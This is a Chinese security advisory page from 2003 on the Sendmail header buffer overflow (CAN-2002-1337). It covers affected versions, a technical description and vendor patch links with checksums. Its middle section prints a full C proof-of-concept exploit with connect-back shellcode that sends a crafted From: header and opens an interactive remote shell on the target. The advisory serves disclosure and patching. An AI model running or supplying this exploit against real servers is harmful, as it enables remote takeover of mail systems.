xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Sendmail头字段远程缓冲区溢出漏洞


发布时间:2003-03-04
更新时间:2003-03-04
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式
CVE(CAN) ID:CAN-2002-1337

受影响系统
Sendmail Pro (all versions)
Sendmail Switch 2.1 prior to 2.1.5
Sendmail Switch 2.2 prior to 2.2.5
Sendmail Switch 3.0 prior to 3.0.3
Sendmail for NT 2.X prior to 2.6.2
Sendmail for NT 3.0 prior to 3.0.3
Systems running open-source sendmail versions prior to 8.12.8, including UNIX and Linux systems
详细描述
Sendmail是流行的邮件传输代理。

ISS公司发现sendmail存在一个远程漏洞,这个漏洞可导致远程攻击者控制SENDMAIL服务器。此漏洞可以通过构建特殊的邮件来触发,由于此邮件属于正常邮件性质,因此即使有防火墙或过滤设备保护的网络也很难被发现,并且如果成功利用,不会留下任何日志。

Sendmail远程漏洞发生在SMTP传输阶段处理邮件头字段时发生。当邮件包含地址或者地址列表(如"From","To","CC"字段)时,Sendmail会尝试检查地址是否合法,这个过程由crackaddr()函数完成,此函数位于Sendmail源代码树的headers.c文件中。

静态缓冲区在处理过程中用于存储数据,Sendmail当探测到缓冲区满的时候,会停止增加字符而来保护发生缓冲区溢出,Sendmail实现包含多个安全检查来确保字符过滤正确,但是其中有一个安全检测存在漏洞,攻击者发送恶意地址字段可触发缓冲区溢出。

X-Force已经开发出漏洞可以在现实场景中实现,此漏洞可在X86架构和其他平台上实现。并且由于使用静态缓冲区,因此不可执行堆栈保护机制将不起作用。

如果Sendmail系统打过补丁后,会记录如下信息:

Dropped invalid comments from header address

并丢弃非法头字段来保护服务器接收处理此邮件。

测试代码
/*## copyright LAST STAGE OF DELIRIUM mar 2003 poland        *://lsd-pl.net/
#*/
/*## sendmail 8.11.6
#*/

/* proof of concept code for remote sendmail vulnerability
*/
/* usage: linx86_sendmail target [-l localaddr] [-b localport] [-p ptr]
*/
/*                               [-c count] [-t timeout] [-v 80]
*/
/* where:
*/
/*   target - address of the target host to run this code against
*/
/*   localaddr - address of the host you are running this code from
*/
/*   localport - local port that will listen for shellcode connection
*/
/*   ptr - base ptr of the sendmail buffer containing our arbitrary data
*/
/*   count - brute force loop counter
*/
/*   timeout - select call timeout while waiting for shellcode connection
*/
/*   v - version of the target OS (currently only Slackware 8.0 is
supported) */
/*
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

#define NOP  0xf8

#define MAXLINE 2048
#define PNUM    12

#define OFF1 (288+156-12)
#define OFF2 (1088+288+156+20+48)
#define OFF3 (139*2)

int tab[]={23,24,25,26};

#define IDX2PTR(i) (PTR+i-OFF1)
#define ALLOCBLOCK(idx,size) memset(&lookup[idx],1,size)

#define NOTVALIDCHAR(c)
(((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||\
                        (((c)&0x7f)==0x24)||(((c)>=0x80)&&((c)<0xa0)))

#define AOFF 33
#define AMSK 38
#define POFF 48
#define PMSK 53

char* lookup=NULL;
int   gfirst;

char shellcode[]=               /* 116 bytes                      */
    "\xeb\x02"                  /* jmp    <shellcode+4>           */
    "\xeb\x08"                  /* jmp    <shellcode+12>          */
    "\xe8\xf9\xff\xff\xff"      /* call   <shellcode+2>           */
    "\xcd\x7f"                  /* int    $0x7f                   */
    "\xc3"                      /* ret                            */
    "\x5f"                      /* pop    %edi                    */
    "\xff\x47\x01"              /* incl   0x1(%edi)               */
    "\x31\xc0"                  /* xor    %eax,%eax               */
    "\x50"                      /* push   %eax                    */
    "\x6a\x01"                  /* push   $0x1                    */
    "\x6a\x02"                  /* push   $0x2                    */
    "\x54"                      /* push   %esp                    */
    "\x59"                      /* pop    %ecx                    */
    "\xb0\x66"                  /* mov    $0x66,%al               */
    "\x31\xdb"                  /* xor    %ebx,%ebx               */
    "\x43"                      /* inc    %ebx                    */
    "\xff\xd7"                  /* call   *%edi                   */
    "\xba\xff\xff\xff\xff"      /* mov    $0xffffffff,%edx        */
    "\xb9\xff\xff\xff\xff"      /* mov    $0xffffffff,%ecx        */
    "\x31\xca"                  /* xor    %ecx,%edx               */
    "\x52"                      /* push   %edx                    */
    "\xba\xfd\xff\xff\xff"      /* mov    $0xfffffffd,%edx        */
    "\xb9\xff\xff\xff\xff"      /* mov    $0xffffffff,%ecx        */
    "\x31\xca"                  /* xor    %ecx,%edx               */
    "\x52"                      /* push   %edx                    */
    "\x54"                      /* push   %esp                    */
    "\x5e"                      /* pop    %esi                    */
    "\x6a\x10"                  /* push   $0x10                   */
    "\x56"                      /* push   %esi                    */
    "\x50"                      /* push   %eax                    */
    "\x50"                      /* push   %eax                    */
    "\x5e"                      /* pop    %esi                    */
    "\x54"                      /* push   %esp                    */
    "\x59"                      /* pop    %ecx                    */
    "\xb0\x66"                  /* mov    $0x66,%al               */
    "\x6a\x03"                  /* push   $0x3                    */
    "\x5b"                      /* pop    %ebx                    */
    "\xff\xd7"                  /* call   *%edi                   */
    "\x56"                      /* push   %esi                    */
    "\x5b"                      /* pop    %ebx                    */
    "\x31\xc9"                  /* xor    %ecx,%ecx               */
    "\xb1\x03"                  /* mov    $0x3,%cl                */
    "\x31\xc0"                  /* xor    %eax,%eax               */
    "\xb0\x3f"                  /* mov    $0x3f,%al               */
    "\x49"                      /* dec    %ecx                    */
    "\xff\xd7"                  /* call   *%edi                   */
    "\x41"                      /* inc    %ecx                    */
    "\xe2\xf6"                  /* loop   <shellcode+81>          */
    "\x31\xc0"                  /* xor    %eax,%eax               */
    "\x50"                      /* push   %eax                    */
    "\x68\x2f\x2f\x73\x68"      /* push   $0x68732f2f             */
    "\x68\x2f\x62\x69\x6e"      /* push   $0x6e69622f             */
    "\x54"                      /* push   %esp                    */
    "\x5b"                      /* pop    %ebx                    */
    "\x50"                      /* push   %eax                    */
    "\x53"                      /* push   %ebx                    */
    "\x54"                      /* push   %esp                    */
    "\x59"                      /* pop    %ecx                    */
    "\x31\xd2"                  /* xor    %edx,%edx               */
    "\xb0\x0b"                  /* mov    $0xb,%al                */
    "\xff\xd7"                  /* call   *%edi                   */
;

int PTR,MPTR=0xbfffa01c;

void putaddr(char* p,int i) {
*p++=(i&0xff);
*p++=((i>>8)&0xff);
*p++=((i>>16)&0xff);
*p++=((i>>24)&0xff);
}

void sendcommand(int sck,char *data,char resp) {
char buf[1024];
int i;
if (send(sck,data,strlen(data),0)<0) {
  perror("error");exit(-1);
}
if (resp) {
  if ((i=recv(sck,buf,sizeof(buf),0))<0) {
   perror("error");exit(-1);
  }
  buf[i]=0;
  printf("%s",buf);
}
}

int rev(int a){
int i=1;
if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

void initlookup() {
int i;
if (!(lookup=(char*)malloc(MAXLINE))) {
  printf("error: malloc\n");exit(-1);
}
ALLOCBLOCK(0,MAXLINE);
memset(lookup+OFF1,0,OFF2-OFF1);

for(i=0;i<sizeof(tab)/4;i++)
  ALLOCBLOCK(OFF1+4*tab[i],4);

gfirst=1;
}

int validaddr(int addr) {
unsigned char buf[4],c;
int i,*p=(int*)buf;
*p=addr;
for(i=0;i<4;i++) {
  c=buf[i];
  if (NOTVALIDCHAR(c)) return 0;
}
return 1;
}

int freeblock(int idx,int size) {
int i,j;
for(i=j=0;i<size;i++) {
  if (!lookup[idx+i]) j++;
}
return (i==j);
}

int findblock(int addr,int size,int begin) {
int i,j,idx,ptr;
ptr=addr;
if (begin) {
  idx=OFF1+addr-PTR;
  while(1) {
   while(((!validaddr(ptr))||lookup[idx])&&(idx<OFF2)) {
    idx+=4;
    ptr+=4;
   }
   if (idx>=OFF2) return 0;
   if (freeblock(idx,size)) return idx;
   idx+=4;
   ptr+=4;
  }
} else {
  idx=addr-PTR;
  while(1) {
   while(((!validaddr(ptr))||lookup[idx])&&(idx>OFF1)) {
    idx-=4;
    ptr-=4;
   }
   if (idx<OFF1) return 0;
   if (freeblock(idx,size)) return idx;
   idx-=4;
   ptr-=4;
  }
}
}

int findsblock(int sptr) {
int optr,sidx,size;

size=gfirst ? 0x2c:0x04;
optr=sptr;
while(sidx=findblock(sptr,size,1)) {
  sptr=IDX2PTR(sidx);
  if (gfirst) {
   if (validaddr(sptr)) {
    ALLOCBLOCK(sidx,size);
    break;
   } else sptr=optr;
  } else {
   if
(validaddr(sptr-0x18)&&freeblock(sidx-0x18,4)&&freeblock(sidx+0x0c,4)&&
       freeblock(sidx+0x10,4)&&freeblock(sidx-0x0e,4)) {
    ALLOCBLOCK(sidx-0x18,4);
    ALLOCBLOCK(sidx-0x0e,2);
    ALLOCBLOCK(sidx,4);
    ALLOCBLOCK(sidx+0x0c,4);
    ALLOCBLOCK(sidx+0x10,4);
    sidx-=0x18;
    break;
   } else sptr=optr;
  }
  sptr+=4;
  optr=sptr;
  }
gfirst=0;
return sidx;
}

int findfblock(int fptr,int i1,int i2,int i3) {
int fidx,optr;
optr=fptr;
while(fidx=findblock(fptr,4,0)) {
  fptr=IDX2PTR(fidx);
  if (validaddr(fptr-i2)&&validaddr(fptr-i2-i3)&&freeblock(fidx-i3,4)&&
      freeblock(fidx-i2-i3,4)&&freeblock(fidx-i2-i3+i1,4)) {
   ALLOCBLOCK(fidx,4);
   ALLOCBLOCK(fidx-i3,4);
   ALLOCBLOCK(fidx-i2-i3,4);
   ALLOCBLOCK(fidx-i2-i3+i1,4);
   break;
  } else fptr=optr;
  fptr-=4;
  optr=fptr;
}
return fidx;
}

void findvalmask(char* val,char* mask,int len) {
int i;
unsigned char c,m;
for(i=0;i<len;i++) {
  c=val[i];
  m=0xff;
  while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--;
  val[i]=c^m;
  mask[i]=m;
}
}

void initasmcode(char *addr,int port) {
char abuf[4],amask[4],pbuf[2],pmask[2];
char name[256];
struct hostent *hp;
int i;

if (!addr) gethostname(name,sizeof(name));
  else strcpy(name,addr);

if ((i=inet_addr(name))==-1) {
  if ((hp=gethostbyname(name))==NULL) {
   printf("error: address\n");exit(-1);
  }
  memcpy(&i,hp->h_addr,4);
}

putaddr(abuf,rev(i));

pbuf[0]=(port>>8)&0xff;
pbuf[1]=(port)&0xff;

findvalmask(abuf,amask,4);
findvalmask(pbuf,pmask,2);

memcpy(&shellcode[AOFF],abuf,4);  memcpy(&shellcode[AMSK],amask,4);
memcpy(&shellcode[POFF],pbuf,2);  memcpy(&shellcode[PMSK],pmask,2); }

int main(int argc,char **argv){
    int sck,srv,i,j,cnt,jidx,aidx,sidx,fidx,aptr,sptr,fptr,ssize,fsize,jmp;
    int c,l,i1,i2,i3,i4,found,vers=80,count=256,timeout=1,port=25;
    fd_set readfs;
    struct timeval t;
    struct sockaddr_in address;
    struct hostent *hp;
    char buf[4096],cmd[4096];
    char *p,*host,*myhost=NULL;

    printf("copyright LAST STAGE OF DELIRIUM mar 2003 poland
//lsd-pl.net/\n");
    printf("sendmail 8.11.6 for Slackware 8.0 x86\n\n");

    if (argc<3) {
     printf("usage: %s target [-l localaddr] [-b localport] [-p ptr] [-c
count] [-t timeout] [-v 80]\n",argv[0]);
     exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"b:c:l:p:t:v:"))!=-1) {
     switch(c) {
      case 'b': port=atoi(optarg);break;
      case 'c': count=atoi(optarg);break;
      case 'l': myhost=optarg;break;
      case 't': timeout=atoi(optarg);break;
      case 'v': vers=atoi(optarg);break;
      case 'p': sscanf(optarg,"%x",&MPTR);
     }
    }

    host=argv[1];

    srv=socket(AF_INET,SOCK_STREAM,0);
    bzero(&address,sizeof(address));
    address.sin_family=AF_INET;
    address.sin_port=htons(port);
    if (bind(srv,(struct sockaddr*)&address,sizeof(address))==-1) {
     printf("error: bind\n");exit(-1);
    }
    if (listen(srv,10)==-1) {
     printf("error: listen\n");exit(-1);
    }

    initasmcode(myhost,port);

    for(i4=0;i4<count;i4++,MPTR+=cnt*4) {
     PTR=MPTR;
     sck=socket(AF_INET,SOCK_STREAM,0);
     bzero(&address,sizeof(address));
     address.sin_family=AF_INET;
     address.sin_port=htons(25);
     if ((address.sin_addr.s_addr=inet_addr(host))==-1) {
      if ((hp=gethostbyname(host))==NULL) {
       printf("error: address\n");exit(-1);
      }
      memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
     }
     if (connect(sck,(struct sockaddr*)&address,sizeof(address))==-1) {
      printf("error: connect\n");exit(-1);
     }
     initlookup();

     sendcommand(sck,"helo yahoo.com\n",0);
     sendcommand(sck,"mail from: anonymous@yahoo.com\n",0);
     sendcommand(sck,"rcpt to: lp\n",0);
     sendcommand(sck,"data\n",0);

     aidx=findblock(PTR,PNUM*4,1);
     ALLOCBLOCK(aidx,PNUM*4);
     aptr=IDX2PTR(aidx);

     printf(".");fflush(stdout);

     jidx=findblock(PTR,strlen(shellcode)+PNUM*4,1);
     ALLOCBLOCK(jidx,strlen(shellcode)+PNUM*4);

     switch(vers) {
      case 80: l=28;i1=0x46;i2=0x94;i3=0x1c;break;
      default: exit(-1);
     }

     i2-=8;

     p=buf;
     for(i=0;i<138;i++) {
      *p++='<';*p++='>';
     }
     *p++='(';
     for(i=0;i<l;i++) *p++=NOP;
     *p++=')';
     *p++=0;

     putaddr(&buf[OFF3+l],aptr);
     sprintf(cmd,"From: %s\n",buf);
     sendcommand(sck,cmd,0);
     sendcommand(sck,"Subject: hello\n",0);
     memset(cmd,NOP,MAXLINE);
     cmd[MAXLINE-2]='\n';
     cmd[MAXLINE-1]=0;

     cnt=0;

     while(cnt<PNUM) {
      sptr=aptr;
      fptr=IDX2PTR(OFF2);

      if (!(sidx=findsblock(sptr))) break;
      sptr=IDX2PTR(sidx);
      if (!(fidx=findfblock(fptr,i1,i2,i3))) break;
      fptr=IDX2PTR(fidx);

      jmp=IDX2PTR(jidx);
      while (!validaddr(jmp)) jmp+=4;

      putaddr(&cmd[aidx],sptr);
      putaddr(&cmd[sidx+0x24],aptr);
      putaddr(&cmd[sidx+0x28],aptr);
      putaddr(&cmd[sidx+0x18],fptr-i2-i3);

      putaddr(&cmd[fidx-i2-i3],0x01010101);
      putaddr(&cmd[fidx-i2-i3+i1],0xfffffff8);

      putaddr(&cmd[fidx-i3],fptr-i3);
      putaddr(&cmd[fidx],jmp);

      aidx+=4;
      PTR-=4;
      cnt++;
     }

     p=&cmd[jidx+4*PNUM];
      for(i=0;i<strlen(shellcode);i++) {
      *p++=shellcode[i];
     }
     sendcommand(sck,cmd,0);
     sendcommand(sck,"\n",0);
     sendcommand(sck,".\n",0);
     free(lookup);

     FD_ZERO(&readfs);
     FD_SET(0,&readfs);
     FD_SET(srv,&readfs);

     t.tv_sec=timeout;
     t.tv_usec=0;

     if (select(srv+1,&readfs,NULL,NULL,&t)>0) {
      close(sck);
      found=1;
      if ((sck=accept(srv,(struct sockaddr*)&address,&l))==-1) {
        printf("error: accept\n");exit(-1);
      }
      close(srv);

      printf("\nbase 0x%08x mcicache 0x%08x\n",PTR,aptr);

      write(sck,"/bin/uname -a\n",14);
     } else {
      close(sck);
      found=0;
     }

     while(found){
        FD_ZERO(&readfs);
        FD_SET(0,&readfs);
        FD_SET(sck,&readfs);
        if(select(sck+1,&readfs,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&readfs)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                     else {printf("koniec\n");exit(-1);}
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&readfs)){
                if((cnt=read(sck,buf,1024))<1){
                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                     else {printf("koniec\n");exit(-1);}
                }
                write(1,buf,cnt);
            }
        }
    }
  }
}

解决方案
Sendmail已经发布补丁:

ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.security.cr.patch
ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.security.cr.patch
ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.9.3.security.cr.patch

或者建议管理员升级到8.12.8版本。

IBM公司已经提供如下补丁:

临时补丁如下:

ftp://ftp.software.ibm.com/aix/efixes/security/sendmail_efix.tar.Z

正式补丁为:

APAR number for AIX 4.3.3: IY40500 (available approx. 03/12/2003)
APAR number for AIX 5.1.0: IY40501 (available approx. 04/28/2003)
APAR number for AIX 5.2.0: IY40502 (available approx. 04/28/2003)

Mandrake linux提供如下补丁:

Corporate Server 2.1:
cc5590958147fdc6d7cc6b6804e1c450  corporate/2.1/RPMS/sendmail-8.12.6-3.2mdk.i586.rpm
9ee215b8d3aa61a75d7bfa7236c89217  corporate/2.1/RPMS/sendmail-cf-8.12.6-3.2mdk.i586.rpm
31ee7452500bead59609119af17b6ebc  corporate/2.1/RPMS/sendmail-devel-8.12.6-3.2mdk.i586.rpm
bb8b7830640b3b0cbb3c471e60638d26  corporate/2.1/RPMS/sendmail-doc-8.12.6-3.2mdk.i586.rpm
7bf9dab89608b3ecae5574946c78dde8  corporate/2.1/SRPMS/sendmail-8.12.6-3.2mdk.src.rpm

Linux-Mandrake 7.2:
ffd7899291d6aba1753d996a44661ed2  7.2/RPMS/sendmail-8.11.0-4.2mdk.i586.rpm
47906b6c6ceffb16d9750b88eef18bd8  7.2/RPMS/sendmail-cf-8.11.0-4.2mdk.i586.rpm
f84955b5bf1b9d48804694fc8d9fa038  7.2/RPMS/sendmail-doc-8.11.0-4.2mdk.i586.rpm
524c8c9bab32697ca9d7be41b4b34dff  7.2/SRPMS/sendmail-8.11.0-4.2mdk.src.rpm

Mandrake Linux 8.0:
d8dd245a3fa0d5bd5910da8ed322e4b2  8.0/RPMS/sendmail-8.11.6-4.4mdk.i586.rpm
1c1fa1730c9689ef8ca2fa9b125dde41  8.0/RPMS/sendmail-cf-8.11.6-4.4mdk.i586.rpm
203198fe2cb9914d0f104c2ffa15061b  8.0/RPMS/sendmail-doc-8.11.6-4.4mdk.i586.rpm
2bd522ab0fad1734d2522547d6abe79f  8.0/SRPMS/sendmail-8.11.6-4.4mdk.src.rpm

Mandrake Linux 8.0/PPC:
49b589d9c1db215968698296b7e38949  ppc/8.0/RPMS/sendmail-8.11.6-4.4mdk.ppc.rpm
1f0dc78436c35f5397f25a331a6be784  ppc/8.0/RPMS/sendmail-cf-8.11.6-4.4mdk.ppc.rpm
beaa61eb5a224c67268f1ccbcaa27287  ppc/8.0/RPMS/sendmail-doc-8.11.6-4.4mdk.ppc.rpm
2bd522ab0fad1734d2522547d6abe79f  ppc/8.0/SRPMS/sendmail-8.11.6-4.4mdk.src.rpm

Mandrake Linux 8.1:
a8e8831e1333f53c4beaad484fba6d6b  8.1/RPMS/sendmail-8.11.6-4.4mdk.i586.rpm
07822e0924603156a328a5d71b35b006  8.1/RPMS/sendmail-cf-8.11.6-4.4mdk.i586.rpm
943676ff37789e3ed56c3feeb4b790c6  8.1/RPMS/sendmail-doc-8.11.6-4.4mdk.i586.rpm
2bd522ab0fad1734d2522547d6abe79f  8.1/SRPMS/sendmail-8.11.6-4.4mdk.src.rpm

Mandrake Linux 8.1/IA64:
67ff005b6eda2074f9c1fc61678eaec5  ia64/8.1/RPMS/sendmail-8.11.6-4.4mdk.ia64.rpm
a41192b0d1083047d2437209bc857d50  ia64/8.1/RPMS/sendmail-cf-8.11.6-4.4mdk.ia64.rpm
827a91f80a88f80f1662c8417c702b37  ia64/8.1/RPMS/sendmail-doc-8.11.6-4.4mdk.ia64.rpm
2bd522ab0fad1734d2522547d6abe79f  ia64/8.1/SRPMS/sendmail-8.11.6-4.4mdk.src.rpm

Mandrake Linux 8.2:
c106cd4223cb8defc0331b9ae203c712  8.2/RPMS/sendmail-8.12.1-4.2mdk.i586.rpm
199d6e0d6c5bd79d8bbbaf5482e472e6  8.2/RPMS/sendmail-cf-8.12.1-4.2mdk.i586.rpm
b70011d22c13c152d35f9c9572e57051  8.2/RPMS/sendmail-devel-8.12.1-4.2mdk.i586.rpm
865de74f4848e781071a4606a20e42b9  8.2/RPMS/sendmail-doc-8.12.1-4.2mdk.i586.rpm
5d251dd3fc01d98027820282c39a47c4  8.2/SRPMS/sendmail-8.12.1-4.2mdk.src.rpm

Mandrake Linux 8.2/PPC:
9b96aa12a5843801e3141ed2aa0bc8c9  ppc/8.2/RPMS/sendmail-8.12.1-4.2mdk.ppc.rpm
1b97053c396aadd596cc8111362938f8  ppc/8.2/RPMS/sendmail-cf-8.12.1-4.2mdk.ppc.rpm
0d8a132188f56a3a2b25a36b1fdf8cd0  ppc/8.2/RPMS/sendmail-devel-8.12.1-4.2mdk.ppc.rpm
911165311c20100dd0bd945fc7a8bac9  ppc/8.2/RPMS/sendmail-doc-8.12.1-4.2mdk.ppc.rpm
5d251dd3fc01d98027820282c39a47c4  ppc/8.2/SRPMS/sendmail-8.12.1-4.2mdk.src.rpm

Mandrake Linux 9.0:
cc5590958147fdc6d7cc6b6804e1c450  9.0/RPMS/sendmail-8.12.6-3.2mdk.i586.rpm
9ee215b8d3aa61a75d7bfa7236c89217  9.0/RPMS/sendmail-cf-8.12.6-3.2mdk.i586.rpm
31ee7452500bead59609119af17b6ebc  9.0/RPMS/sendmail-devel-8.12.6-3.2mdk.i586.rpm
bb8b7830640b3b0cbb3c471e60638d26  9.0/RPMS/sendmail-doc-8.12.6-3.2mdk.i586.rpm
7bf9dab89608b3ecae5574946c78dde8  9.0/SRPMS/sendmail-8.12.6-3.2mdk.src.rpm

CONECTIVA LINUX提供如下补丁:

UPDATED PACKAGES
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/sendmail-8.11.6-1U60_3cl.src.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-8.11.6-1U60_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-cf-8.11.6-1U60_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-doc-8.11.6-1U60_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/sendmail-8.11.6-1U70_3cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-8.11.6-1U70_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-cf-8.11.6-1U70_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-doc-8.11.6-1U70_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/SRPMS/sendmail-8.11.6-2U80_3cl.src.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-8.11.6-2U80_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-cf-8.11.6-2U80_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-doc-8.11.6-2U80_3cl.i386.rpm

Redhat提供如下补丁:

Red Hat Linux 6.2

--------------------------------------------------------------------------------

SRPMS:
sendmail-8.11.6-1.62.2.src.rpm
[ via FTP ] [ via HTTP ]     35d83351ea84fdae048b3e6f556bfc4a
  
i386:
sendmail-8.11.6-1.62.2.i386.rpm
[ via FTP ] [ via HTTP ]     71ddff0b307887232ad2b57c6f828dbd
sendmail-cf-8.11.6-1.62.2.i386.rpm
[ via FTP ] [ via HTTP ]     3b398feb4f97b05873a864be5d914ee8
sendmail-doc-8.11.6-1.62.2.i386.rpm
[ via FTP ] [ via HTTP ]     ba2e0d80e5efc7fe3ba2d55f9caa9cb1
  
Red Hat Linux 7.0

--------------------------------------------------------------------------------

SRPMS:
sendmail-8.11.6-23.70.src.rpm
[ via FTP ] [ via HTTP ]     e3a9eb220d844e1e3a1bd84ada63c853
  
i386:
sendmail-8.11.6-23.70.i386.rpm
[ via FTP ] [ via HTTP ]     f3bdb70c4b1d95d10a827db33bf77a46
sendmail-cf-8.11.6-23.70.i386.rpm
[ via FTP ] [ via HTTP ]     e7a8c264257e207d18257dfe075a5fd1
sendmail-devel-8.11.6-23.70.i386.rpm
[ via FTP ] [ via HTTP ]     c6cf8af32a436d42d0982b99260ce811
sendmail-doc-8.11.6-23.70.i386.rpm
[ via FTP ] [ via HTTP ]     ba9251c4ed7fc2916e27c8bc406d7f58
  
Red Hat Linux 7.1

--------------------------------------------------------------------------------

SRPMS:
sendmail-8.11.6-23.71.src.rpm
[ via FTP ] [ via HTTP ]     c2eb6d0135dc60e83506f0c20148822c
  
i386:
sendmail-8.11.6-23.71.i386.rpm
[ via FTP ] [ via HTTP ]     c3a518db2157a56edc5a94f42c32f8db
sendmail-cf-8.11.6-23.71.i386.rpm
[ via FTP ] [ via HTTP ]     6cb3a88c447b56f37d0ebba1df4adb23
sendmail-devel-8.11.6-23.71.i386.rpm
[ via FTP ] [ via HTTP ]     f2fa0e42d15c723c33c876ea075b4508
sendmail-doc-8.11.6-23.71.i386.rpm
[ via FTP ] [ via HTTP ]     2cee572aa2fe1eddb3d22f7ab4d43a20
  
Red Hat Linux 7.2

--------------------------------------------------------------------------------

SRPMS:
sendmail-8.11.6-23.72.src.rpm
[ via FTP ] [ via HTTP ]     854ee4390631bdcb818fe6cdc132f7da
  
i386:
sendmail-8.11.6-23.72.i386.rpm
[ via FTP ] [ via HTTP ]     dbce6be563a5642400d0a8a9e97f88fc
sendmail-cf-8.11.6-23.72.i386.rpm
[ via FTP ] [ via HTTP ]     92b8773b155b2cce446645dd55842e87
sendmail-devel-8.11.6-23.72.i386.rpm
[ via FTP ] [ via HTTP ]     d810fe7d6a61550e3b0ac3a509d00fed
sendmail-doc-8.11.6-23.72.i386.rpm
[ via FTP ] [ via HTTP ]     722780636eb24b8168f8464817e21de4
  
ia64:
sendmail-8.11.6-23.72.ia64.rpm
[ via FTP ] [ via HTTP ]     e83825fb7552ad321cb09ecf86df4a29
sendmail-cf-8.11.6-23.72.ia64.rpm
[ via FTP ] [ via HTTP ]     70e2f72dffad5ec8565dc957f5c0b111
sendmail-devel-8.11.6-23.72.ia64.rpm
[ via FTP ] [ via HTTP ]     8d86d83586e75cbd03f7bccdfb5b97f2
sendmail-doc-8.11.6-23.72.ia64.rpm
[ via FTP ] [ via HTTP ]     16eac17677891e77e8eb70bf76dac135
  
Red Hat Linux 7.3

--------------------------------------------------------------------------------

SRPMS:
sendmail-8.11.6-23.73.src.rpm
[ via FTP ] [ via HTTP ]     2049d17db0e321ba6028ee4a7ca2ae93
  
i386:
sendmail-8.11.6-23.73.i386.rpm
[ via FTP ] [ via HTTP ]     ce6852e4c389405bed1f498514b5fa0f
sendmail-cf-8.11.6-23.73.i386.rpm
[ via FTP ] [ via HTTP ]     f994f26ab50b8141ec27a6b04e819d37
sendmail-devel-8.11.6-23.73.i386.rpm
[ via FTP ] [ via HTTP ]     d6da03d08cdd8e9933616c0e66841302
sendmail-doc-8.11.6-23.73.i386.rpm
[ via FTP ] [ via HTTP ]     5fb65ba4b8e91d9d87451e2d1400411f
  
Red Hat Linux 8.0

--------------------------------------------------------------------------------

SRPMS:
sendmail-8.12.8-1.80.src.rpm
[ via FTP ] [ via HTTP ]     29d277537beb532d6b5f48ad30d81d45
  
i386:
sendmail-8.12.8-1.80.i386.rpm
[ via FTP ] [ via HTTP ]     8bba0d1400ab2e96e3d3c78ce5015597
sendmail-cf-8.12.8-1.80.i386.rpm
[ via FTP ] [ via HTTP ]     55ef5ca9c777278eddd48e365ba471c2
sendmail-devel-8.12.8-1.80.i386.rpm
[ via FTP ] [ via HTTP ]     87aecce2ae343a69fe1df716b5e89685
sendmail-doc-8.12.8-1.80.i386.rpm
[ via FTP ] [ via HTTP ]     d945b47a44597e5da06f79658e38b9d8

FreeBSD提供如下补丁信息:

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail.patch
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail.patch.asc

或采用两进制文件:

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.6-i386-crypto.bin.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.6-i386-crypto.bin.gz.asc

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.6-i386-nocrypto.bin.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.6-i386-nocrypto.bin.gz.asc

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.7-i386-crypto.bin.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.7-i386-crypto.bin.gz.asc

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.7-i386-nocrypto.bin.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-4.7-i386-nocrypto.bin.gz.asc

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-5.0-i386-crypto.bin.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-5.0-i386-crypto.bin.gz.asc

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-5.0-i386-nocrypto.bin.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail-5.0-i386-nocrypto.bin.gz.asc

SGI提供如下补丁:

http://www.sgi.com/support/security/
